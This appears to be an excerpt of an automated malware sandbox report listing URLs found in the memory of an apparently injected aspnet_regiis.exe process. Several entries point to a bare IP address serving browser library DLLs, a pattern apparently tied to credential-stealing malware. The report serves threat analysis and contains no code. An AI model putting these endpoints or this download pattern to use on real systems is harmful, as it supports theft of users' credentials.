Source: aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650482641.0000000002FCE000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552045952.0000000002FD1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552104123.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650482641.0000000002FCE000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552104123.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650482641.0000000002FCE000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552104123.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650482641.0000000002FCE000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Amcache.hve.3.dr	String found in binary or memory: http://upx.sf.net
Source: aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552104123.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650482641.0000000002FCE000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: aspnet_regiis.exe, aspnet_regiis.exe, 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.3.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: aspnet_regiis.exe, 00000003.00000002.3379210269.000000001C0A1000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3382857072.000000002204D000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://49.12.197.9
Source: aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2530342786.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FB5000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2518356276.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/
Source: aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/$
Source: aspnet_regiis.exe, 00000003.00000003.2650340672.0000000002FB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/-end-point:f
Source: aspnet_regiis.exe, 00000003.00000003.2650340672.0000000002FB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/5
Source: aspnet_regiis.exe, 00000003.00000003.2664851403.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2664696725.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/;
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/A
Source: aspnet_regiis.exe, 00000003.00000003.2530342786.0000000002FB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/CAAFHIEBKJ
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/N
Source: aspnet_regiis.exe, 00000003.00000003.2517610034.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2518356276.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/S
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/W
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/b
Source: aspnet_regiis.exe, 00000003.00000003.2552104123.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2664851403.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2664696725.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/freebl3.dll
Source: aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552104123.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2664851403.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2664696725.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/freebl3.dll6
Source: aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2531063121.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2531200082.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552104123.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2531268467.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2530342786.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/g
Source: aspnet_regiis.exe, 00000003.00000003.2664696725.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/mozglue.dll
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/msvcp140.dll
Source: aspnet_regiis.exe, 00000003.00000003.2664696725.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/nss3.dll
Source: aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/nss3.dll.9#
Source: aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/nss3.dllhy=
Source: aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/nss3.dllll
Source: aspnet_regiis.exe, 00000003.00000003.2517610034.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2518356276.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/o
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/softokn3.dll
Source: aspnet_regiis.exe, 00000003.00000002.3371829647.000000000055D000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/sqlp.dll
Source: aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2531063121.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2531200082.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552104123.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2531268467.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2530342786.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/ta_
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F80000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2664851403.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2664696725.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/vcruntime140.dll
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9/y
Source: aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9FHIEHDGI--
Source: aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9HIEBAK
Source: aspnet_regiis.exe, 00000003.00000002.3371829647.0000000000582000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://49.12.197.9IEHDGI
Source: aspnet_regiis.exe, 00000003.00000003.2518193807.0000000002FF0000.00000004.00000020.00020000.00000000.sdmp, AEHIEC.3.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F80000.00000004.00000020.00020000.00000000.sdmp, ECBGCB.3.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F80000.00000004.00000020.00020000.00000000.sdmp, ECBGCB.3.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: aspnet_regiis.exe, 00000003.00000003.2518193807.0000000002FF0000.00000004.00000020.00020000.00000000.sdmp, AEHIEC.3.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: aspnet_regiis.exe, 00000003.00000003.2518193807.0000000002FF0000.00000004.00000020.00020000.00000000.sdmp, AEHIEC.3.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: aspnet_regiis.exe, 00000003.00000003.2518193807.0000000002FF0000.00000004.00000020.00020000.00000000.sdmp, AEHIEC.3.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.co
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
